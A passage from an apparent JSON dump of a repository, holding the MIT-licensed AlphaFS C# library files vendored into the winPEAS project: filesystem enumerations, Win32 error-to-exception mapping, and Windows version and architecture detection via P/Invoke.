= NativeMethods.STREAM_ID.BACKUP_PROPERTY_DATA,\n\n\n      /// <summary>Objects identifiers. This corresponds to the NTFS $OBJECT_ID stream type.</summary>\n      BackupObjectId = NativeMethods.STREAM_ID.BACKUP_OBJECT_ID,\n\n\n      /// <summary>Reparse points. This corresponds to the NTFS $REPARSE_POINT stream type.</summary>\n      BackupReparseData = NativeMethods.STREAM_ID.BACKUP_REPARSE_DATA,\n\n\n      /// <summary>Sparse file. This corresponds to the NTFS $DATA stream type for a sparse file.</summary>\n      BackupSparseBlock = NativeMethods.STREAM_ID.BACKUP_SPARSE_BLOCK,\n\n\n      /// <summary>Transactional NTFS (TxF) data stream.</summary>\n      /// <remarks>Windows Server 2003 and Windows XP:  This value is not supported.</remarks>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Txfs\")]\n      BackupTxfsData = NativeMethods.STREAM_ID.BACKUP_TXFS_DATA\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/SymbolicLinkTarget.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Indicates whether the link target is a file or directory.</summary>\n   /// <remarks>Used by Win32 API CreateSymbolicLink()/CreateSymbolicLinkTransacted()</remarks>\n   public enum SymbolicLinkTarget\n   {\n      /// <summary>The link target is a file.</summary>\n      File = 0,\n\n      /// <summary>The link target is a directory.</summary>\n      Directory = 1\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/SymbolicLinkType.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Specifies the type of a symbolic link.</summary>\n   public enum SymbolicLinkType\n   {\n      /// <summary>The symbolic link is absolute.</summary>\n      Absolute = 0,\n\n      /// <summary>The symbolic link is relative.</summary>\n      Relative = 1\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/NativeError.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.Runtime.InteropServices;\nusing System.Security.Policy;\nusing Alphaleonis.Win32.Filesystem;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32\n{\n   internal static class NativeError\n   {\n      public static void ThrowException(int errorCode)\n      {\n         ThrowException((uint) errorCode, null, null);\n      }\n\n      \n      public static void ThrowException(uint errorCode)\n      {\n         ThrowException(errorCode, null, null);\n      }\n\n\n      public static void ThrowException(int errorCode, string readPath)\n      {\n         ThrowException((uint) errorCode, readPath, null);\n      }\n\n      public static void ThrowException(int errorCode, bool? isFolder, string readPath)\n      {\n         if (errorCode == Win32Errors.ERROR_FILE_NOT_FOUND && null != isFolder && (bool) isFolder)\n            errorCode = (int) Win32Errors.ERROR_PATH_NOT_FOUND;\n\n         ThrowException((uint) errorCode, readPath, null);\n      }\n\n\n      public static void ThrowException(uint errorCode, string readPath)\n      {\n         ThrowException(errorCode, readPath, null);\n      }\n\n\n      public static void ThrowException(int errorCode, string readPath, string writePath)\n      {\n         ThrowException((uint) errorCode, readPath, writePath);\n      }\n\n\n      [SuppressMessage(\"Microsoft.Maintainability\", \"CA1502:AvoidExcessiveComplexity\")]\n      public static void ThrowException(uint errorCode, string readPath, string writePath)\n      {\n         if (null != readPath)\n            readPath = Path.GetCleanExceptionPath(readPath);\n\n         if (null != writePath)\n            writePath = Path.GetCleanExceptionPath(writePath);\n\n         var errorMessage = string.Format(CultureInfo.InvariantCulture, \"({0}) {1}.\", errorCode, new Win32Exception((int) errorCode).Message.Trim().TrimEnd('.').Trim());\n        \n\n         if (!Utils.IsNullOrWhiteSpace(readPath) && !Utils.IsNullOrWhiteSpace(writePath))\n            errorMessage = string.Format(CultureInfo.InvariantCulture, \"{0} | Read: [{1}] | Write: [{2}]\", errorMessage, readPath, writePath);\n\n         else\n         {\n            // Prevent messages like: \"(87) The parameter is incorrect: []\"\n            if (!Utils.IsNullOrWhiteSpace(readPath ?? writePath))\n               errorMessage = string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", errorMessage.TrimEnd('.'), readPath ?? writePath);\n         }\n\n\n         switch (errorCode)\n         {\n            case Win32Errors.ERROR_INVALID_DRIVE:\n               throw new System.IO.DriveNotFoundException(errorMessage);\n\n\n            case Win32Errors.ERROR_OPERATION_ABORTED:\n               throw new OperationCanceledException(errorMessage);\n\n\n            case Win32Errors.ERROR_FILE_NOT_FOUND:\n               throw new System.IO.FileNotFoundException(errorMessage);\n\n\n            case Win32Errors.ERROR_PATH_NOT_FOUND:\n               throw new System.IO.DirectoryNotFoundException(errorMessage);\n\n\n            case Win32Errors.ERROR_BAD_RECOVERY_POLICY:\n               throw new PolicyException(errorMessage);\n\n\n            case Win32Errors.ERROR_FILE_READ_ONLY:\n            case Win32Errors.ERROR_ACCESS_DENIED:\n            case Win32Errors.ERROR_NETWORK_ACCESS_DENIED:\n               throw new UnauthorizedAccessException(errorMessage);\n\n\n            case Win32Errors.ERROR_ALREADY_EXISTS:\n            case Win32Errors.ERROR_FILE_EXISTS:\n               throw new AlreadyExistsException(readPath ?? writePath, true);\n\n\n            case Win32Errors.ERROR_DIR_NOT_EMPTY:\n               throw new DirectoryNotEmptyException(errorMessage);\n\n\n            case Win32Errors.ERROR_NOT_READY:\n               throw new DeviceNotReadyException(errorMessage);\n\n\n            case Win32Errors.ERROR_NOT_SAME_DEVICE:\n               throw new NotSameDeviceException(errorMessage);\n\n\n            #region Transactional\n\n            case Win32Errors.ERROR_INVALID_TRANSACTION:\n               throw new InvalidTransactionException(Resources.Transaction_Invalid, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode)));\n\n            case Win32Errors.ERROR_TRANSACTION_ALREADY_COMMITTED:\n               throw new TransactionAlreadyCommittedException(Resources.Transaction_Already_Committed, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode)));\n\n            case Win32Errors.ERROR_TRANSACTION_ALREADY_ABORTED:\n               throw new TransactionAlreadyAbortedException(Resources.Transaction_Already_Aborted, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode)));\n\n            case Win32Errors.ERROR_TRANSACTIONAL_CONFLICT:\n               throw new TransactionalConflictException(Resources.Transactional_Conflict, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode)));\n\n            case Win32Errors.ERROR_TRANSACTION_NOT_ACTIVE:\n               throw new TransactionException(Resources.Transaction_Not_Active, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode)));\n\n            case Win32Errors.ERROR_TRANSACTION_NOT_REQUESTED:\n               throw new TransactionException(Resources.Transaction_Not_Requested, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode)));\n\n            case Win32Errors.ERROR_TRANSACTION_REQUEST_NOT_VALID:\n               throw new TransactionException(Resources.Invalid_Transaction_Request, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode)));\n\n            case Win32Errors.ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE:\n               throw new UnsupportedRemoteTransactionException(Resources.Invalid_Transaction_Request, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode)));\n\n            #endregion // Transactional\n\n\n            case Win32Errors.ERROR_SUCCESS:\n            case Win32Errors.ERROR_SUCCESS_REBOOT_INITIATED:\n            case Win32Errors.ERROR_SUCCESS_REBOOT_REQUIRED:\n            case Win32Errors.ERROR_SUCCESS_RESTART_REQUIRED:\n               // We should really never get here, throwing an exception for a successful operation.\n               throw new NotImplementedException(string.Format(CultureInfo.InvariantCulture, \"{0} {1}\", Resources.Exception_From_Successful_Operation, errorMessage));\n\n            default:\n               // We don't have a specific exception to generate for this error.               \n               throw new System.IO.IOException(errorMessage, Win32Errors.GetHrFromWin32Error(errorCode));\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/OperatingSystem.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32\n{\n   /// <summary>Static class providing access to information about the operating system under which the assembly is executing.</summary>\n   public static class OperatingSystem\n   {\n      /// <summary>A set of flags that describe the named Windows versions.</summary>\n      /// <remarks>The values of the enumeration are ordered. A later released operating system version has a higher number, so comparisons between named versions are meaningful.</remarks>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1709:IdentifiersShouldBeCasedCorrectly\", MessageId = \"Os\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Os\")]\n      public enum EnumOsName\n      {\n         /// <summary>A Windows version earlier than Windows 2000.</summary>\n         Earlier = -1,\n\n         /// <summary>Windows 2000 (Server or Professional).</summary>\n         Windows2000 = 0,\n\n         /// <summary>Windows XP.</summary>\n         WindowsXP = 1,\n\n         /// <summary>Windows Server 2003.</summary>\n         WindowsServer2003 = 2,\n\n         /// <summary>Windows Vista.</summary>\n         WindowsVista = 3,\n\n         /// <summary>Windows Server 2008.</summary>\n         WindowsServer2008 = 4,\n\n         /// <summary>Windows 7.</summary>\n         Windows7 = 5,\n\n         /// <summary>Windows Server 2008 R2.</summary>\n         WindowsServer2008R2 = 6,\n\n         /// <summary>Windows 8.</summary>\n         Windows8 = 7,\n\n         /// <summary>Windows Server 2012.</summary>\n         WindowsServer2012 = 8,\n\n         /// <summary>Windows 8.1.</summary>\n         Windows81 = 9,\n\n         /// <summary>Windows Server 2012 R2</summary>\n         WindowsServer2012R2 = 10,\n\n         /// <summary>Windows 10</summary>\n         Windows10 = 11,\n\n         /// <summary>Windows Server 2016</summary>\n         WindowsServer2016 = 12,\n\n         /// <summary>A later version of Windows than currently installed.</summary>\n         Later = 65535\n      }\n\n\n      /// <summary>A set of flags to indicate the current processor architecture for which the operating system is targeted and running.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1709:IdentifiersShouldBeCasedCorrectly\", MessageId = \"Pa\")]\n      [SuppressMessage(\"Microsoft.Design\", \"CA1028:EnumStorageShouldBeInt32\")]      \n      public enum EnumProcessorArchitecture \n      {\n         /// <summary>PROCESSOR_ARCHITECTURE_INTEL\n         /// <para>The system is running a 32-bit version of Windows.</para>\n         /// </summary>\n         X86 = 0,\n\n         /// <summary>PROCESSOR_ARCHITECTURE_IA64\n         /// <para>The system is running on a Itanium processor.</para>\n         /// </summary>\n         [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Ia\")]\n         [SuppressMessage(\"Microsoft.Naming\", \"CA1709:IdentifiersShouldBeCasedCorrectly\", MessageId = \"Ia\")]\n         IA64 = 6,\n\n         /// <summary>PROCESSOR_ARCHITECTURE_AMD64\n         /// <para>The system is running a 64-bit version of Windows.</para>\n         /// </summary>\n         X64 = 9,\n\n         /// <summary>PROCESSOR_ARCHITECTURE_UNKNOWN\n         /// <para>Unknown architecture.</para>\n         /// </summary>\n         Unknown = 65535\n      }\n\n\n      \n      \n      #region Properties\n\n      private static bool _isServer;\n      /// <summary>Gets a value indicating whether the operating system is a server operating system.</summary>\n      /// <value><c>true</c> if the current operating system is a server operating system; otherwise, <c>false</c>.</value>\n      public static bool IsServer\n      {\n         get\n         {\n            if (null == _servicePackVersion)\n               UpdateData();\n\n            return _isServer;\n         }\n      }\n\n\n      private static bool? _isWow64Process;\n      /// <summary>Gets a value indicating whether the current process is running under WOW64.</summary>\n      /// <value><c>true</c> if the current process is running under WOW64; otherwise, <c>false</c>.</value>\n      public static bool IsWow64Process\n      {\n         get\n         {\n            if (null == _isWow64Process)\n            {\n               bool value;\n               var processHandle = Process.GetCurrentProcess().Handle;\n\n               if (!NativeMethods.IsWow64Process(processHandle, out value))\n                  Marshal.ThrowExceptionForHR(Marshal.GetLastWin32Error());\n\n               // A pointer to a value that is set to TRUE if the process is running under WOW64.\n               // If the process is running under 32-bit Windows, the value is set to FALSE.\n               // If the process is a 64-bit application running under 64-bit Windows, the value is also set to FALSE.\n\n               _isWow64Process = value;\n            }\n\n            return (bool) _isWow64Process;\n         }\n      }\n\n\n      private static Version _osVersion;\n      /// <summary>Gets the numeric version of the operating system.</summary>            \n      /// <value>The numeric version of the operating system.</value>\n      public static Version OSVersion\n      {\n         get\n         {\n            if (null == _osVersion)\n               UpdateData();\n\n            return _osVersion;\n         }\n      }\n\n\n      private static EnumOsName _enumOsName = EnumOsName.Later;\n      /// <summary>Gets the named version of the operating system.</summary>\n      /// <value>The named version of the operating system.</value>\n      public static EnumOsName VersionName\n      {\n         get\n         {\n            if (null == _servicePackVersion)\n               UpdateData();\n\n            return _enumOsName;\n         }\n      }\n\n\n      private static EnumProcessorArchitecture _processorArchitecture;\n      /// <summary>Gets the processor architecture for which the operating system is targeted.</summary>\n      /// <value>The processor architecture for which the operating system is targeted.</value>\n      /// <remarks>If running under WOW64 this will return a 32-bit processor. Use <see cref=\"IsWow64Process\"/> to determine if this is the case.</remarks>      \n      public static EnumProcessorArchitecture ProcessorArchitecture\n      {\n         get\n         {\n            if (null == _servicePackVersion)\n               UpdateData();\n\n            return _processorArchitecture;\n         }\n      }\n\n\n      private static Version _servicePackVersion;\n      /// <summary>Gets the version of the service pack currently installed on the operating system.</summary>\n      /// <value>The version of the service pack currently installed on the operating system.</value>\n      /// <remarks>Only the <see cref=\"System.Version.Major\"/> and <see cref=\"System.Version.Minor\"/> fields are used.</remarks>\n      public static Version ServicePackVersion\n      {\n         get\n         {\n            if (null == _servicePackVersion)\n               UpdateData();\n\n            return _servicePackVersion;\n         }\n      }\n\n      #endregion // Properties\n\n\n      #region Methods\n\n      /// <summary>Determines whether the operating system is of the specified version or later.</summary>\n      /// <returns><c>true</c> if the operating system is of the specified <paramref name=\"version\"/> or later; otherwise, <c>false</c>.</returns>      \n      /// <param name=\"version\">The lowest version for which to return true.</param>\n      public static bool IsAtLeast(EnumOsName version)\n      {\n         return VersionName >= version;\n      }\n\n      \n      /// <summary>Determines whether the operating system is of the specified version or later, allowing specification of a minimum service pack that must be installed on the lowest version.</summary>\n      /// <returns><c>true</c> if the operating system matches the specified <paramref name=\"version\"/> with the specified service pack, or if the operating system is of a later version; otherwise, <c>false</c>.</returns>      \n      /// <param name=\"version\">The minimum required version.</param>\n      /// <param name=\"servicePackVersion\">The major version of the service pack that must be installed on the minimum required version to return true. This can be 0 to indicate that no service pack is required.</param>\n      public static bool IsAtLeast(EnumOsName version, int servicePackVersion)\n      {\n         return IsAtLeast(version) && ServicePackVersion.Major >= servicePackVersion;\n      }\n      \n      #endregion // Methods\n\n\n      #region Private\n\n      [SuppressMessage(\"Microsoft.Naming\", \"CA2204:Literals should be spelled correctly\", MessageId = \"RtlGetVersion\")]\n      private static void UpdateData()\n      {\n         var verInfo = new NativeMethods.RTL_OSVERSIONINFOEXW();\n\n         // Needed to prevent: System.Runtime.InteropServices.COMException:\n         // The data area passed to a system call is too small. (Exception from HRESULT: 0x8007007A)\n         verInfo.dwOSVersionInfoSize = Marshal.SizeOf(verInfo);\n\n         var sysInfo = new NativeMethods.SYSTEM_INFO();\n         NativeMethods.GetNativeSystemInfo(ref sysInfo);\n\n\n         // RtlGetVersion returns STATUS_SUCCESS (0).\n         var success = !NativeMethods.RtlGetVersion(ref verInfo);\n         \n         var lastError = Marshal.GetLastWin32Error();\n         if (!success)\n            throw new Win32Exception(lastError, \"Function RtlGetVersion() failed to retrieve the operating system information.\");\n\n\n         _osVersion = new Version(verInfo.dwMajorVersion, verInfo.dwMinorVersion, verInfo.dwBuildNumber);\n\n         _processorArchitecture = sysInfo.wProcessorArchitecture;\n         _servicePackVersion = new Version(verInfo.wServicePackMajor, verInfo.wServicePackMinor);\n         _isServer = verInfo.wProductType == NativeMethods.VER_NT_DOMAIN_CONTROLLER || verInfo.wProductType == NativeMethods.VER_NT_SERVER;\n\n\n         // RtlGetVersion: https://msdn.microsoft.com/en-us/library/windows/hardware/ff561910%28v=vs.85%29.aspx\n         // Operating System Version: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx\n\n         // The following table summarizes the most recent operating system version numbers.\n         //    Operating system\t            Version number    Other\n         // ================================================================================\n         //    Windows 10                    10.0              OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION\n         //    Windows Server 2016           10.0              OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION\n         //    Windows 8.1                   6.3               OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION\n         //    Windows Server 2012 R2        6.3               OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION\n         //    Windows 8\t                  6.2               OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION\n         //    Windows Server 2012\t         6.2               OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION\n         //    Windows 7\t                  6.1               OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION\n         //    Windows Server 2008 R2\t      6.1               OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION\n         //    Windows Server 2008\t         6.0               OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION  \n         //    Windows Vista\t               6.0               OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION\n         //    Windows Server 2003 R2\t      5.2               GetSystemMetrics(SM_SERVERR2) != 0\n         //    Windows Server 2003           5.2               GetSystemMetrics(SM_SERVERR2) == 0\n         //    Windows XP 64-Bit Edition     5.2               (OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION) && (sysInfo.PaName == PaName.X64)\n         //    Windows XP\t                  5.1               Not applicable\n         //    Windows 2000\t               5.0               Not applicable\n\n\n         // 2017-01-07: 10 == The lastest MajorVersion of Windows.\n         if (verInfo.dwMajorVersion > 10)\n            _enumOsName = EnumOsName.Later;\n\n         else\n            switch (verInfo.dwMajorVersion)\n            {\n               #region Version 10\n\n               case 10:\n\n                  // Windows 10 or Windows Server 2016\n\n                  _enumOsName = verInfo.wProductType == NativeMethods.VER_NT_WORKSTATION\n                     ? EnumOsName.Windows10\n                     : EnumOsName.WindowsServer2016;\n\n                  break;\n                  \n\n               #endregion // Version 10\n\n\n               #region Version 6\n\n               case 6:\n                  switch (verInfo.dwMinorVersion)\n                  {\n                     // Windows 8.1 or Windows Server 2012 R2\n                     case 3:\n                        _enumOsName = verInfo.wProductType == NativeMethods.VER_NT_WORKSTATION\n                           ? EnumOsName.Windows81\n                           : EnumOsName.WindowsServer2012R2;\n                        break;\n\n\n                     // Windows 8 or Windows Server 2012\n                     case 2:\n                        _enumOsName = verInfo.wProductType == NativeMethods.VER_NT_WORKSTATION\n                           ? EnumOsName.Windows8\n                           : EnumOsName.WindowsServer2012;\n                        break;\n\n\n                     // Windows 7 or Windows Server 2008 R2\n                     case 1:\n                        _enumOsName = verInfo.wProductType == NativeMethods.VER_NT_WORKSTATION\n                           ? EnumOsName.Windows7\n                           : EnumOsName.WindowsServer2008R2;\n                        break;\n\n\n                     // Windows Vista or Windows Server 2008\n                     case 0:\n                        _enumOsName = verInfo.wProductType == NativeMethods.VER_NT_WORKSTATION\n                           ? EnumOsName.WindowsVista\n                           : EnumOsName.WindowsServer2008;\n                        break;\n                        \n\n                     default:\n                        _enumOsName = EnumOsName.Later;\n                        break;\n                  }\n\n                  break;\n\n               #endregion // Version 6\n\n\n               #region Version 5\n\n               case 5:\n                  switch (verInfo.dwMinorVersion)\n                  {\n                     case 2:\n                        _enumOsName = verInfo.wProductType == NativeMethods.VER_NT_WORKSTATION && _processorArchitecture == EnumProcessorArchitecture.X64\n                           ? EnumOsName.WindowsXP\n                           : verInfo.wProductType != NativeMethods.VER_NT_WORKSTATION ? EnumOsName.WindowsServer2003 : EnumOsName.Later;\n                        break;\n\n\n                     case 1:\n                        _enumOsName = EnumOsName.WindowsXP;\n                        break;\n\n\n                     case 0:\n                        _enumOsName = EnumOsName.Windows2000;\n                        break;\n\n\n                     default:\n                        _enumOsName = EnumOsName.Later;\n                        break;\n                  }\n                  break;\n\n               #endregion // Version 5\n\n\n               default:\n                  _enumOsName = EnumOsName.Earlier;\n                  break;\n            }\n      }\n      \n\n      private static class NativeMethods\n      {\n         internal const short VER_NT_WORKSTATION = 1;\n         internal const short VER_NT_DOMAIN_CONTROLLER = 2;\n         internal const short VER_NT_SERVER = 3;\n\n\n         [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n         internal struct RTL_OSVERSIONINFOEXW\n         {\n            public int dwOSVersionInfoSize;\n            public readonly int dwMajorVersion;\n            public readonly int dwMinorVersion;\n            public readonly int dwBuildNumber;\n            public readonly int dwPlatformId;\n            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]\n            public readonly string szCSDVersion;\n            public readonly ushort wServicePackMajor;\n            public readonly ushort wServicePackMinor;\n            public readonly ushort wSuiteMask;\n            public readonly byte wProductType;\n            public readonly byte wReserved;\n         }\n\n\n         [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n         internal struct SYSTEM_INFO\n         {\n            public readonly EnumProcessorArchitecture wProcessorArchitecture;\n            private readonly ushort wReserved;\n            public readonly uint dwPageSize;\n            public readonly IntPtr lpMinimumApplicationAddress;\n            public readonly IntPtr lpMaximumApplicationAddress;\n            public readonly IntPtr dwActiveProcessorMask;\n            public readonly uint dwNumberOfProcessors;\n            public readonly uint dwProcessorType;\n            public readonly uint dwAllocationGranularity;\n            public readonly ushort wProcessorLevel;\n            public readonly ushort wProcessorRevision;\n         }\n\n\n         /// <summary>The RtlGetVersion routine returns version information about the currently running operating system.</summary>\n         /// <returns>RtlGetVersion returns STATUS_SUCCESS.</returns>\n         /// <remarks>Available starting with Windows 2000.</remarks>\n         [SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\"), DllImport(\"ntdll.dll\", SetLastError = true, CharSet = CharSet.Unicode)]\n         [return: MarshalAs(UnmanagedType.Bool)]\n         internal static extern bool RtlGetVersion([MarshalAs(UnmanagedType.Struct)] ref RTL_OSVERSIONINFOEXW lpVersionInformation);\n\n\n         /// <summary>Retrieves information about the current system to an application running under WOW64.\n         /// If the function is called from a 64-bit application, it is equivalent to the GetSystemInfo function.\n         /// </summary>\n         /// <returns>This function does not return a value.</returns>\n         /// <remarks>To determine whether a Win32-based application is running under WOW64, call the <see cref=\"IsWow64Process\"/> function.</remarks>\n         /// <remarks>Minimum supported client: Windows XP [desktop apps | Windows Store apps]</remarks>\n         /// <remarks>Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps]</remarks>\n         [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n         [DllImport(\"kernel32.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n         internal static extern void GetNativeSystemInfo([MarshalAs(UnmanagedType.Struct)] ref SYSTEM_INFO lpSystemInfo);\n\n\n         /// <summary>Determines whether the specified process is running under WOW64.</summary>\n         /// <returns>\n         /// If the function succeeds, the return value is a nonzero value.\n         /// If the function fails, the return value is zero. To get extended error information, call GetLastError.\n         /// </returns>\n         /// <remarks>Minimum supported client: Windows Vista, Windows XP with SP2 [desktop apps only]</remarks>\n         /// <remarks>Minimum supported server: Windows Server 2008, Windows Server 2003 with SP1 [desktop apps only]</remarks>\n         [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n         [DllImport(\"kernel32.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n         [return: MarshalAs(UnmanagedType.Bool)]\n         internal static extern bool IsWow64Process([In] IntPtr hProcess, [Out, MarshalAs(UnmanagedType.Bool)] out bool lpSystemInfo);\n      }\n\n      #endregion // Private\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Resources.Designer.cs",
